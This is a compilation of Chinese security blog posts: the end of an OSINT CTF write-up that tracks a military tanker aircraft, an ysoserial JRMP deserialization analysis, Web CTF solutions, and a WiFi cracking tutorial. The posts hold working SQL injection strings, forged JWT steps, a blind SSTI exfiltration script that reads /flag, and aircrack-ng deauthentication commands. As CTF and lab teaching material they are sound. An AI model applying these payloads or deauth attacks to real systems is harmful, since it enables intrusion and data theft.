2.8 – 图片细节比对 2
通过其它参照物，比如窗户样式，特殊建筑和建筑的突出部分，我们可以确认照片的拍摄地点为附近的公寓。切换到街景模式，我们可以得到公寓附近的所有街道信息。因为犯罪团伙的交易地点是附近的小巷，所以我们逐一查看小巷的街景。最后我们找到了犯罪团伙将要进行交易的小巷。（还有一个路人刚好出现在了交易地点，算是一个彩蛋吧）最终flag为
**DUCTF{mclean_alley}**
2.9 – 犯罪团伙藏身的公寓
2.10 – 目标公寓附近的街景地图，红色所在的小巷为犯罪团伙的交易地点
2.11 – 犯罪团伙交易地点的街景图
## 挑战3 – I think this one is really going to take off（DUCTF2020）
难度：中等
任务：根据路人提供的信息，找出2020年9月1日当天，飞过Boxing croc（拳击鳄鱼）附近的大型美国加油机，最终得到该飞机的首飞日期
解题思路：确认飞机飞过的位置，通过相关新闻报道以及第三方飞机追踪数据找到飞机的详细信息（机型，飞行器识别号，飞行日程和路线等）
3.1 – 题目描述
已有的情报信息如下，
目标：大型美国加油机（Big American refuelin plane）
位置：拳击鳄鱼（Boxing croc）附近
时间：2020年9月1日
通过搜索Boxing croc，我们可以看到一座拳击鳄鱼雕像，像是一个旅游景点，位于澳大利亚北领地达尔文附近。
3.2
3.3 – 拳击鳄鱼雕像（Boxing croc）位置
经过观察，我们可以发现附近有一座机场，达尔文国际机场（Darwin International
Airport）。但情报显示是一架大型美国加油机，应该属于军用飞机。因此我们需要找到当天（9月1日）飞过达尔文上空的一架美国军机。由于军机飞行记录可能涉敏，不同于民航信息。所以我们需要借助一些额外的飞行开放信息，对其进行追踪。（本篇内容仅限CTF
OSINT题型探讨。考虑到不同国家的法律有所差异，执行这些操作之前，请务必了解当地的法律法规，避免不必要的法律纠纷。）如果你是一名资深的军事爱好者，对各国飞行器比较了解，且已经猜出来该加油机型号，可以跳过接下来的内容，直接前往航空器注册号（Aircraft
registration）查询部分。
为了获得更多关于2020年9月1日飞经达尔文上空的美国加油机信息，我们可以先从新闻入手，寻找是否有相关的新闻报道。通过Google查找”american
refueling plane darwin”（美国加油机，达尔文）可以发现一则澳大利亚国防部的新闻，时间为2020年9月3日。大概内容为“美国空军
B-1B Lancers 和 B-2 Spirit 轰炸机最近参加了在北领地举行的美澳联合演习。虽然 B1-B 和 B-2
轰炸机没有在澳大利亚降落，但它们得到了从 RAAF 达尔文基地飞出的美国空军空对空加油机的支持”。
3.4 Google 搜索 “american refueling plane darwin”（美国加油机达尔文） 的结果
[https://news.defence.gov.au/media/media-releases/united-states-bomber-training-top-end](https://news.defence.gov.au/media/media-releases/united-states-bomber-training-top-end)
3.5 – 澳大利亚国防部网报道的美澳军事演习新闻里，提到了美国空军的加油机
进一步对新闻内容进行挖掘，我们可以发现新闻提及到RAAF Base
Darwin（澳大利亚达尔文空军基地），且有美国加油机从这一座机场飞出，为参与军事演习的轰炸机提供支持。而该空军基地正好位于达尔文国际机场附近。继续搜索更多关于RAAF
达尔文空军基地的新闻，我们找到了一些关于该空军基地的介绍，“RAAF达尔文基地没有永久飞机，但一些军用飞机在该基地过境或运行”。另外两则新闻是关于美澳联合演习的详情，分别出自澳大利亚地方媒体“海军科技”（Naval
Technology），以及美国印度洋–太平洋司令部（U.S. Indo-Pacific Command），内容为“日本嘉手纳空军基地第 909
空中加油中队的一个 KC-135
中队飞往澳大利亚达尔文，对演习的轰炸机进行支援”。因此，我们可以推测这正是飞过达尔文拳击鳄鱼雕像上空的美国加油机。接下来我们要做的事情是，通过开放的飞行数据网站，找到当天该军机的飞行记录。
[https://www.defence.gov.au/aircraftnoise/Darwin/Aircraft.asp](https://www.defence.gov.au/aircraftnoise/Darwin/Aircraft.asp)
3.6 – RAAF达尔文空军基地的介绍
3.7 – 进一步搜索RAAF附近的美军加油机新闻
[https://www.naval-technology.com/news/usaf-aircraft-participate-in-usmc-adf-joint-exercise/](https://www.naval-technology.com/news/usaf-aircraft-participate-in-usmc-adf-joint-exercise/)
3.8 – 新闻1， 来源（海军科技）
[https://www.pacom.mil/Media/News/News-Article-View/Article/2336270/increasing-interoperability-b-2s-b-1s-join-us-marine-corps-australian-defence-f/](https://www.pacom.mil/Media/News/News-Article-View/Article/2336270/increasing-interoperability-b-2s-b-1s-join-us-marine-corps-australian-defence-f/)
3.9 – 新闻2 ，来源（美国印度洋–太平洋司令部）
[http://www.planeflighttracker.com/2014/04/united-states-military-aircraft-in.html](http://www.planeflighttracker.com/2014/04/united-states-military-aircraft-in.html)
3.10 – [Plane Flight
Tracker](http://www.planeflighttracker.com/)提供了军用加油机的国际民航组织航空器型号的查询
3.11 – KC-135加油机的国际民航组织航空器型号为K35R
通过[Plane Flight
Tracker这个网站，我们得到了](http://www.planeflighttracker.com/)KC-135加油机的国际民航组织航空器型号
(ICAO aircraft type designator)为K35R。接下来通过Radarbox（部分功能需要付费）和ads-b提供的数据资料，我们找到了符合条件的美军加油机。其航空器注册号(Aircraft Registration
Code)为58-0086。最后我们通过planefinder这个网站和Google，找到了该飞机的首飞日期为16-07-59（1959年7月16日，真是古老），我们还发现另一架美军加油机当天也飞过了拳击鳄鱼雕像的上空，航空器注册号为58-0095，但两架飞机机型相同，并不影响最终的flag结果。
所以flag为 **DUCTF{16-07-59}**
[https://www.radarbox.com/data/aircraft/K35R](https://www.radarbox.com/data/aircraft/K35R)
3.12 – 航空器注册号58-0086（目标加油机）2020年9月1日的飞行记录 1
[https://ads-b.nl/index.php?pageno=303&selectmove=day](https://ads-b.nl/index.php?pageno=303&selectmove=day)
3.13 – 航空器注册号58-0086（目标加油机）2020年9月1日的飞行记录 2
[https://www.ads-b.nl/track.php?AircraftID=11404541&datum=20200901&selectmove=day](https://www.ads-b.nl/track.php?AircraftID=11404541&datum=20200901&selectmove=day)
3.14 – 另一架美军加油机（航空器注册号58-0095） 当天的飞行记录（红色框内红点为拳击鳄鱼雕像位置）
[https://planefinder.net/data/aircraft/58-0086](https://planefinder.net/data/aircraft/58-0086)
3.15 – 目标加油机KC-135 的首飞时间为1959年7月16日（16-07-59）
## 小结
OSINT题目比较灵活，且可以与Forensics（取证）结合，多方位考察选手们的信息挖掘能力以及情报分析技巧。考虑到篇幅有限，有关OSINT与Forensics相结合的题目，我将会在后面的文章中分享。此处想引用
**Micropoor** 前辈说过的一句话，“渗透的本质是信息搜集”。而在情报学中，“有价值的”信息则称之为情报。
## 参考链接
[https://www.missingpersons.gov.au/about/national-events/hackathon-2020](https://www.missingpersons.gov.au/about/national-events/hackathon-2020)
[https://www.aware-online.com/en/osint-tutorials/reverse-image-search/](https://www.aware-online.com/en/osint-tutorials/reverse-image-search/)
[https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/OSINT](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/OSINT)
[https://github.com/DownUnderCTF/Challenges_2021_Public/tree/main/osint](https://github.com/DownUnderCTF/Challenges_2021_Public/tree/main/osint)
[https://www.tracelabs.org/initiatives/osint-vm](https://www.tracelabs.org/initiatives/osint-vm)
[https://joyce.fyi/posts/ductf-2020/](https://joyce.fyi/posts/ductf-2020/)
[https://gijn.org/flight-tracking/](https://gijn.org/flight-tracking/) | 社区文章 |
# Java安全之ysoserial-JRMP模块分析（一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在分析到Weblogic后面的一些绕过方式的时候，分析到一半需要用到ysoserial-JRMP该模块。不止是Weblogic的反序列化漏洞会利用到，其他的反序列化漏洞也会利用到，所以在此对该模块做一个分析。了解底层原理，一劳永逸。但看到网上分析文章偏少，如有分析错误望师傅们指出。
### 概述
在这里简单来讲讲JRMP协议相关内容，JRMP是一个Java远程方法协议，该协议基于TCP/IP之上，RMI协议之下。也就是说RMI该协议传递时底层使用的是JRMP协议，而JRMP底层则是基于TCP传递。
RMI默认使用的JRMP进行传递数据，并且JRMP协议只能作用于RMI协议。当然RMI支持的协议除了JRMP还有IIOP协议，而在Weblogic里面的T3协议其实也是基于RMI去进行实现的。
RMI内容，具体参考：[Java安全之RMI协议分析](https://www.cnblogs.com/nice0e3/p/14280278.html)
## 0x01 JRMP模块利用
一、 ysoserial中的`exploit/JRMPClient`是作为攻击方的代码，一般会结合`payloads/JRMPLIstener`使用。
攻击流程如下：
1. 需要发送`payloads/JRMPLIstener`内容到漏洞服务器中，在该服务器反序列化完成我们的payload后会开启一个RMI的服务监听在设置的端口上。
2. 我们还需要在我们自己的服务器使用`exploit/JRMPClient`与存在漏洞的服务器进行通信，并且发送一个gadgets对象，达到一个命令执行的效果。(前面说过RMI协议在传输都是传递序列化，接收数据后进行反序列化操作。)
简单来说就是将一个payload发送到服务器，服务器反序列化操作该payload过后会在指定的端口开启RMI监听，然后通过`exploit/JRMPClient`
去发送攻击 gadgets对象。
二、第二种利用方式和上面的类似`exploit/JRMPListener`作为攻击方进行监听,在反序列化漏洞位置发送`payloads/JRMPClient`向我们的`exploit/JRMPListener`进行连接，连接后会返回在`exploit/JRMPListener`的gadgets对象并且进行反序列化
攻击流程如下：
1. 攻击方在自己的服务器使用`exploit/JRMPListener`开启一个rmi监听
2. 往存在漏洞的服务器发送`payloads/JRMPClient`，payload中已经设置了攻击者服务器ip及JRMPListener监听的端口，漏洞服务器反序列化该payload后，会去连接攻击者开启的rmi监听，在通信过程中，攻击者服务器会发送一个可执行命令的payload（假如存在漏洞的服务器中有使用`org.apacje.commons.collections`包，则可以发送`CommonsCollections`系列的payload），从而达到命令执行的结果。
在前文中的 [Java 安全之Weblogic
2017-3248分析](https://www.cnblogs.com/nice0e3/p/14275298.html)文章中，用到的时候第二种方式进行绕过补丁。前文中并没有对该模块去做分析，只是知道了利用方式和绕过方式，下面对JRMP模块去做一个深入的分析。查看内部是如何实现该功能的。
## 0x01 payloads/JRMPListener
该链的作用是在反序列化过后，在指定端口开启一个JRMP Server。后面会配合到`exploit/JRMPClient`连接并且发送payload。
### 利用链
下面来看一下他的利用链
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
* Requires:
* - JavaSE
*
* Argument:
* - Port number to open listener to
*/
### 构造分析
首先需要查看一下yso里面是如何生成gadget对象的。
可以直接定位到getObject方法中。
getObject方法中前面第一行代码获取了外部传入进来的端口，转换成int类型。
这个比较简单，主要内容在下面这段代码中。
使用`Reflections.createWithConstructor`方法传入三个参数获取到一个`UnicastRemoteObject`的实例对象。传入的参数第一个是`ActivationGroupImpl.class`,第二个是`RemoteObject.class`,而第三个则是一个Object的数组，数组中里面是`RemoteRef.class`，第四个是`UnicastServerRef`传入了刚刚获取的端口的一个实例对象。
第一个参数使用的是 ActivationGroupImpl 是因为在利用的时候，本身就是利用的 UnicastRemoteObject 的
readObject 函数，第二个参数需要满足两个条件：
1. 要为 UnicastRemoteObject 的父类
2. 不能在创建的过程中有其他什么多余的操作，满足这两个条件的两个类是：RemoteObject、RemoteServer
最后具体是怎么获取到的`UnicastRemoteObject`实例对象，这里需要调试跟踪一下。
### UnicastServerRef分析
在此之前，先来看看`new UnicastServerRef(jrmpPort)`的内部实现。先跟踪最里层的方法。
`UnicastServerRef`的构造方法，内部会去再new一个LiveRef对象并且传入输入进来的端口的参数。
选择跟踪。
内部是new了一个ObjID，继续跟踪。
里面还会去new一个UID赋值给space成员变量，UID这里自然都知道是啥意思，这里就不跟了，而下面随机获取一个值赋值给objNum。
#### ObjID
* `ObjID`用于标识导出到RMI运行时的远程对象。 导出远程对象时，将根据用于导出的API来隐式或明确地分配一个对象标识符。
* 构造方法：
ObjID()
生成唯一的对象标识符。
ObjID(int objNum)
创建一个“众所周知”的对象标识符。
执行完成后返回到这一步。
这里调用了构造方法的重载方法。选择跟踪一下。
到了这一步，var1的参数自然不用解释，而后面的则是传入的端口。
里面再一次调用重载方法，并且在传递的第二个参数调用了`TCPEndpoint.getLocalEndpoint`并且传入端口进行获取实例化对象。继续跟踪。
内部调用`getLocalEndpoint`重载方法，跟踪。
**`getLocalEndpoint`方法说明：**
获取指定端口上本地地址空间的终结点。如果端口号为0，则返回共享的默认端点对象，其主机名和端口可能已确定，也可能尚未确定。
内部调用`localEndpoints.get`方法并且传入var5，也就是TCPEndpoint的实例对象。
localEndpoints是一个map类型的类对象，这里get方法获取了var5，对应的value值，类型为LinkedList。这里获取到的是一个null。
执行到下一步
调用resampleLocalHost方法获取String的值，跟踪查看实现。
localHost的值是通过getHostnameProperty方法进行获取的。
执行完成后，返回到`sun.rmi.transport.tcp#TCPEndpoint`，执行到一下代码中。
这里的代码比较容易理解，var为空，new一个TCPEndpoint对象，并且传入var7，var0，var1,var2。参数值是ip,端口，null,null。将该对象添加到var6里面。
后面则是对var3的对象进行赋值，ip和端口都赋值到var3的成员变量里面去。
最后就是调用`localEndpoints.put(var5, var6);`讲var5, var6存储到`localEndpoints`中。
最后进行返回var3对象。
执行完成后，回到这里
继续跟踪，构造方法的重载方法。
这里就没啥好说的了，就是赋值。
最后返回到外面入口的地方
调用了父类的构造方法
到了这里其实就已经跟踪完了。
### yos利用链分析
返回到这一步跟踪`Reflections.createWithConstructor`查看内部实现。
简化一下代码：
Constructor<? super T> objCons = RemoteObject.class.getDeclaredConstructor(new UnicastServerRef(jrmpPort));
其实也就是反射调用获取 RemoteObject参数为UnicastRef的构造方法。并且传递`new
UnicastServerRef(jrmpPort)`实例化对象作为构造方法参数。
而下面的`setAccessible(objCons);`这个就不做分析了，分析过前面的利用链都大概清楚，这个其实就是修改暴力反射的一个方法类。
看到下面这段代码
这里进行跟踪。
其实借助`ReflectionFactory.getReflectionFactory()`工厂方法在这里就是返回了ReflectionFactory的实例对象。
跟踪`newConstructorForSerialization`方法
这里传递的var1 参数是`ActivationGroupImpl.class`对象，而var2是刚刚反射获取的`Constructor`对象。
下面是个三目运算，如果`var2.getDeclaringClass() ==
var1`的话，返回var2，如果不低于的话，调用`this.generateConstructor(var1, var2);`后的执行结果进行返回。
将代码简单化：
ActivationGroupImpl.class.getDeclaringClass()==ActivationGroupImpl.class ? var2
:this.generateConstructor(ActivationGroupImpl.class, var2)
这里调用了`this.generateConstructor`方法并且传入了两个参数。后来才发现后面的这些内容是属于反射的底层实现，跟踪跑偏了。感兴趣的师傅们可以自行查看。
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
返回到这段代码,后来的查询资料发现`newConstructorForSerialization`这个方法返回的是一个无参的constructor对象，但是绝对不会与原来的constructor冲突，被称为munged
构造函数
这里先来思考到一个问题，为什么不能使用反射直接调用呢？
其实并非所有的java类都有无参构造方法的，并且有的类的构造方法还是private的。所以这里采用这种方式进行获取。
再来看到上面的代码：
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
前面参数为`ActivationGroupImpl.class`，指定获取`ActivationGroupImpl.class`的
Constructor。后面的参数为反射获取RemoteObject的RemoteRef类型构造方法获取到的Constructor类。
最后将参数传递进行，返回创建一个`ActivationGroupImpl`实例化对象。
执行完成回到这个方法内，发现该地方对`ActivationGroupImpl`进行了向上转型为`UnicastRemoteObject`类型
最后调用反射将`UnicastRemoteObject`的实例对象的port字段修改成我们设置的端口的值。
## 0x02 调试分析
test类：
package ysoserial.test;
import ysoserial.payloads.JRMPClient;
import ysoserial.payloads.JRMPListener;
import java.io.*;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class test {
public static void main(String[] args) throws Exception {
JRMPListener jrmpListener = new JRMPListener();
UnicastRemoteObject object = jrmpListener.getObject("9999");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream bjos = new ObjectOutputStream(bos);
bjos.writeObject(object);
ByteArrayInputStream bait = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ojis = new ObjectInputStream(bait);
Object o = ojis.readObject();
}
}
这里是利用了`UnicastRemoteObject`的`readObject`作为反序列化的入口点。
在此处下断点开始调试分析。
`readObject`方法处调用了`reexport`方法，跟踪查看。
csf和ssf为空，执行到这里。
调用`exportObject`方法并且传入this和port
这里的this,实际上是`ActivationGroupImpl`,因为前面进行了向上转型。跟踪`exportObject`。
这里再次调用重载方法，跟踪查看。
到了这一步，调用`sref.exportObject`传入前面创建的实例对象。跟踪。
这里下面调用this.ref，而this.ref为LiveRef对象。这一段则是调用`LiveRef.exportObject`。继续跟踪。
this.ep为Endpoint对象，这里调用的是`Endpoint.exportObject`,这里的对象是怎么赋值的前面的构造分析的时候去讲过，这里不做多的赘述。
调用`this.transport.exportObject;`继续跟踪。
到了这一步就调用了`this.listen()`进行启动监听。
### 参考文章
[ysoserial JRMP相关模块分析（一）-payloads/JRMPListener](https://xz.aliyun.com/t/2649#toc-0)
## 0x03 结尾
JRMP的这个模块第一次分析还是挺费劲的，网上的相关资料也偏少。分析有不对的地方望师傅们指出。 | 社区文章 |
比赛环境没关，可以找其他人借账号复现本次比赛题目，以下是网鼎杯第三场Web题解。
## Web
### comein
题目：由于运维人员失误，内网认证页面部署至了外网，不过还好，开发加了域名验证。
查看源码，发现如下代码：
很明显又是考察 **parse_url** 函数绕过，只不过开头多了对点号的匹配，绕过即可。使用 **payload** ：
**[email protected]/..//**
可以自己本地调试一下。
### gold
题目：还在上小学的小明同学开发了一款游戏，你能通关吗？
**Burpsuite** 抓包会发现浏览器一直发送POST数据，应该是通过Ajax来发起请求的：
根据题目提示： **收集1000金币即可过关** 。尝试直接将参数 **getGod** 的值修改为1000，发现会触发检测机制。
于是使用 **Burpsuite** 抓包，用 **Intruder** 模块从0跑到1001，在 **getGod=1001** 的数据包中获得flag：
PS：用多线程跑会触发游戏的反作弊机制，用单线程按顺序跑就能出flag。
### phone
题目：find the flag.
看到这道题目，马上就想到 [ 2017广东省强网杯(第三题)](https://mochazz.github.io/2017/09/11/QWBCTF/)
。测试了一下，果然在用户注册处的电话处存在二次注入，测试结果如下：
可以发现这里查询结果为： **有1人和你电话相似哦~**
，而实际上这是我注册的第一个用户，数据库中不可能有用户的电话和我一样，所以应该是执行了我们刚刚构造的 **SQL语句**
，因为后面的布尔逻辑值为真。所以我们分别构造获取表名、列名、字段的 **payload** 如下：
获取表名：
aaa' union select group_concat(table_name) from information_schema.tables where table_schema=database() order by 1 desc#
username=test4&password=test4&phone=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829206f726465722062792031206465736323®ister=Login
获取列名：
aaa' union select group_concat(column_name) from information_schema.columns where table_name="flag" order by 1 desc#
username=test6&password=test6&phone=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d22666c616722206f726465722062792031206465736323®ister=Login
获取字段：
aaa' union select f14g from flag order by 1 desc#
username=test7&password=test7&phone=0x6161612720756e696f6e2073656c65637420663134672066726f6d20666c6167206f726465722062792031206465736323®ister=Login
这里可能有人会不明白为什么要加上 **order by 1 desc** ，大家可以试试下面这个 **payload** ：
aaa' union select group_concat(table_name) from information_schema.tables where table_schema=database()#
username=test8&password=test8&phone=0x6161612720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d6461746162617365282923®ister=Login
实际上后台的 **SQL语句** 类似下图 **第一个SQL语句** ：
### i_am_admin
题目：你能登录进去吗？
抓取登录数据包，发现 **JWT** ：
登录进去可以发现用于加密的 **secret key** ：
使用这个 **secret key** 到 <https://jwt.io/> 生成 **admin** 对应的 **token** 值：
使用该 **token** 值访问网站即可获得flag：
### mmmmy
题目：find the flag.
抓包发现又是python的web程序，使用了JWT：(随手用test/test登录即可看到)
使用 [**c-jwt-cracker**](https://github.com/brendan-rius/c-jwt-cracker) 爆破
**secret key** ：
发现只有 **admin** 才能用留言板功能，所以 **伪造admin的token** 登录：
**virink** 师傅提醒说留言板处存在 **SSTI** ，于是测试了下，果然存在，只不过过滤了 **{{}}**
的写法，那我们可以换成流程控制结构的写法 **{%if 表达式%}内容1{%else%}内容2{%endif%}** ，测试如下：
那么后面的数据就要盲注出来了，使用的 **payload** 类似如下:
text={% if open('/flag','r').read()[0]=='f' %}1{% else %}0{% endif %}
这里实际上过滤了单、双引号，我们可以使用以下payload进行绕过：
text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0]%}good{%endif%}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e=}-{0123456789abcdefghijklmnopqrstuvwxyz
getflag程序如下：
import requests,sys
url = "http://4532bc69bc734acd8416204f0aa04f446e9d38024c5644e8.game.ichunqiu.com/bbs"
cookie = {
"token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
}
chars = "}-{0123456789abcdefghijklmnopqrstuvwxyz"
flag = ''
for i in range(0,50):
for j in range(0,len(chars)):
data = {
"text" : "{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d]%%}getflag{%%endif%%}" % (j,i),
"a" : "__class__",
"b" : "__base__",
"c" : "__subclasses__",
"d" : "/flag",
"e" : chars
}
r = requests.post(url=url,data=data,cookies=cookie)
if 'getflag' in r.text:
flag += chars[j]
sys.stdout.write("[+] "+ flag + '\r')
sys.stdout.flush()
if chars[j] == '}':
print(flag)
exit()
else:
break
print(len(r.text)) | 社区文章 |
# 无线网络安全测试初探
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 随着技术的发展，无线网络wifi遍布每个角落，殊不知隐藏其中的风云涌动。
>
> 这学期上了计算机网络，但是学过了其中的浅浅知识，有点无聊，正好看到IEEE
> 802.11，加上最近护网杯出了一题与无线AP流量包的分析题目，赛终依旧0解。遂自行学习一波知识，从原理入手，动手实验，归纳一番。
## 基础知识
AP：Access
Point,中文名”无线访问接入点“，在本篇文章中，无线路由器也指AP。AP的功能主要使无线设备能够快速轻易地与无线网络连接，是无线设备与有线局域网络的桥梁。
IEEE 802.11协议：说起无线网络，那么就不得不提到IEEE
802.11标准，该协议主要用于解决终端之间的无线接入，包括wifi，蓝牙等等。所以，学习无线网络的相关知识，翻阅IEEE 802.11文档是必须的。
Aircrack-ng：一个与IEEE 802.11标准的无线网络分析有关的安全软件。
SSID：Service Set Identifier ，中文名为服务集标识。在本篇中，运用Aircrack-ng的界面中，有出现BSSID和ESSID，在其中BSSID指的是AP的MAC地址，ESSID为AP的名称。
## 加密模式
### WPS加密（Wi-FI Protected Setup）
在早期的wifi中，人们发现wifi的便利性，相应地，为了维护个人或集体的数据隐私，也添加了无线网络加密认证。但由于早期的认证步骤过于繁杂，干脆不做任何加密安全的设定，从而引发许多安全问题，于是WPS加密模式应运而生。通过该模式，用户只需在每次连接无线路由器上的WPS按键（Push
Button Condiguration，按钮模式）或者输入此时路由器的PIN码（Pin Input
Configuration,个人识别码模式），就能将新设备加入无线网络中。
如果你听说过爆破PIN码，继而得到wifi密码这种操作也正是个人识别码模式的缺陷，或者说是WPS的漏洞。PIN码是由8位纯数字组成的，第8位为校验位，而这一位是可以通过前7位计算的。在验证PIN码时，会先检测前四位，如果验证成功，则反馈一条信息。而通过这点，爆破前四位，由反馈的信息验证，即可得到正确的前四位，剩余的四位中，因为最后一位是通过PIN码前7位算出的，只需再爆破后四位中的前三位，我们就可以爆破得到AP的PIN码。
WPS也叫作QSS，一般在路由器的“QSS安全设置”页面即可找到。（并不是所有的无线路由器都支持WPS）
另外，大多数路由器默认的QSS是关闭的，需要手动开启。
### WEP加密（Wired Equivalent Privacy,有效等效保密协议）
说起WEP，大家并不陌生，在八年前那个时候，wifi的兴起，“蹭网“的热情，想必都经历过。虽然，WEP已经逐渐被WPA-PSK/WPA2-PSK模式取代，但是打开你的手机无线网络，相信在众多的wifi中，你还是能发现那么一两个WEP的wifi。
WEP工作原理是通过使用RC4（Rivest Cipher）串流技术加密，并使用CRC32（循环冗余校验）校验和保证资料的正确性。
如上图，WEP使用RC4的算法产生伪随机序列流，将其与要传输的明文进行xor运算，再利用CRC算法生成ICV完整性校验值，再将刚刚的xor内容和ICV组合在一起，完成传输。其中，RC4的秘钥由初始化向量IV（24位）和用户秘钥SK组成。当然，解密过程即是加密过程的逆推，首先检验CRC的值，进行完整性校验，提取出IV值，和对应的用户私钥SK通过RC4计算出伪随机序列号，进行xor运算，计算出ICV’值。再通过对比原先的ICV值，判断数据正确性。
可以发现上述的过程中，如果攻击者获得了两段由相同的RC4密钥流序列加密后得到的密文，只需xor下，得到的也就是两段明文的xor内容，那么密钥就会失效。其次，初始化向量IV对于整个RC4的加密过程中，起到关键作用。先甩个国外的文档[whatswrongwithwep.pdf](http://www.opus1.com/www/whitepapers/whatswrongwithwep.pdf)，其中描述了IV重用问题引起的WEP容易被破解的关键原因。
如果加密时使用的IV值相同，那么对于使用相同的数据帧加密密钥是不安全的。
再者之前提到过WEP的初始化向量IV为24位，每个传输的数据帧任意选择其中一个IV值进行加密。也就是说IV的选择范围只有224。假设IV初始值设为0，每传送一个数据帧，IV值增加1，这样在传输224个数据帧后就会遇到IV重用问题。而导致WEP容易被破解的原因，正是因为这个原因，对于通讯繁忙的AP，很可能在短期内导致IV的重复使用。
再者，由于IV是明文传送的，因此攻击者能获得两个或多个使用相同密钥的数据帧，就可以使用静态分析来恢复明文。
下面测试的破解WEP过程中，ArpRequest注入攻击原理是就是通过读取交互设备之间的ARP请求报文，并伪造报文再次重发出去，从而刺激AP产生更多的数据包，以供抓取更多的IVS数据包，加快破解速度。
而对于wep引发的安全问题，人们也采取了以下措施：
1、使用WPA-PSK/WPA2-PSK模式
2、设置无线网络MAC地址过滤
### WPA-PSK/WPA2-PSK加密（Wi-Fi Protected Access）
说到这里，有个疑问，为什么WPA-PSK/WPA2-PSK加密合在一起讲呢？其实大同小异，你可以这样认为，WPA是为了弥补WEP缺陷所研究的加密模式，WPA2则是WPA的升级版本。关于WPA-PSK/WPA2-PSK网上有许多不错的学习链接，不再赘述，这里放两个[学习链接1](https://blog.csdn.net/arick2013/article/details/48375751)、[学习链接2](https://www.cnblogs.com/chinasun021/archive/2013/01/18/2866343.html)。
在阅读相应的文档，你会发现，WPA引用了IEEE802.1x的身份认证标准：[EAP](https://www.wikiwand.com/zh-hans/%E6%89%A9%E5%B1%95%E8%AE%A4%E8%AF%81%E5%8D%8F%E8%AE%AE)（Extensible
Authentication
Protocol）。其包括[TKIP](https://www.wikiwand.com/en/Temporal_Key_Integrity_Protocol)（临时密钥完整性协议）和[MIC](https://www.wikiwand.com/en/Message_Integrity_Check)（消息完整性检查）。WEP使用64位或128位加密密钥，必须在无线接入点和设备上手动输入，并且不会更改。TKIP使用每个数据包密钥，这意味着它为每个数据包动态生成一个新的128位密钥，从而防止类似攻击WEP的攻击方式。而MIC，旨在防止攻击者更改和重新发送数据包，取代了之前WEP标准使用的[CRC](https://www.wikiwand.com/en/Cyclic_redundancy_check)（循环冗余校验）。
WPA2较WPA采用了更加强大的AES-CCMP取代WPA中的TKIP/MIC,AES-CCMP(AES Counter Mode CBC-MAC
Protocol) 结合了两种复杂的加密技术（计数器模式和CBC-MAC），从而在移动客户端和接入点之间提供强大的安全协议。之所以使用AES，一是AES加密算法安全性比TKIP更高，而且在使用TKIP算法时，路由器的吞吐量会下降，进而影响到路由器的性能。
另外不得不提，今年一月份，Wi-Fi联盟发布了WPA3，相比较WPA2，又多了一些安全性的改性，有兴趣可以深入研究一番哦。
## 环境设置
### 测试配置
数台品牌不同的安卓手机，数台PC以及默认驱动为rt7601u型号为Ralink的无线网卡，TP路由器。
### 外置网卡配置
接下来使用iwconfig -a的命令可以查看所有无线网卡的信息，默认的外置网卡名为wlan0。
使用iwconfig命令，可以查看wlan0网卡的详细信息。
但是发现该wlan0网卡并没有处于嗅探状态monitor监听模式，所以接下来需要激活网卡至monitor监听模式。使用Aircrack-ng中的airmon-ng工具激活，执行命令：airmon-ng start wlan0。
已将wlan0更改为wlan0mon，且处于monitor监听模式，再次执行命令ifconfig可以看到
再次执行命令iwconfig验证是否处于monitor监听模式。
可以看到网卡wlan0mon已经处于嗅探状态monitor监听模式，设置嗅探成功。
当然此时再次查看wireshark的抓包界面，也可以看到mon0。
接下来进行一些相关的测试。
## 测试目标
### 测试环境一：WPA-PSK/WPA2-PSK模式
该模式下路由配置如下，名称为T35t
密码为t35ttest
#### 实验步骤
执行命令# airodump-ng wlan0mon查看周围无线设备，发现测试目标T35t（T35t为该路由器ESSID号），频道11以及其他信息。
过滤语句airodump-ng wlan0mon –bssid 30:FC:68:CA:13:DF -c 11只查看跟该设备相关的无线信号。
可以看到存在设备mac地址为00:00:00:00:00:00（就是那串模糊的，懂不·—·）的设备正在连接该路由器
嗯，接下来使用命令airodump-ng wlan0mon –bssid 30:FC:68:CA:13:DF -c 11 -w
capture_wap将该信号抓取保存为前缀名为capture_wap的文件，执行该条命令界面运行如下：
打开新的命令行界面（注意：之前的命令行界面不要关闭），然后执行命令aireplay-ng -0 1 -a 30:FC:68:CA:13:DF -c
00:00:00:00:00:00 wlan0mon
执行成功后，正常情况下，稍等几秒，原先界面右上角即会出现WPA handshake:
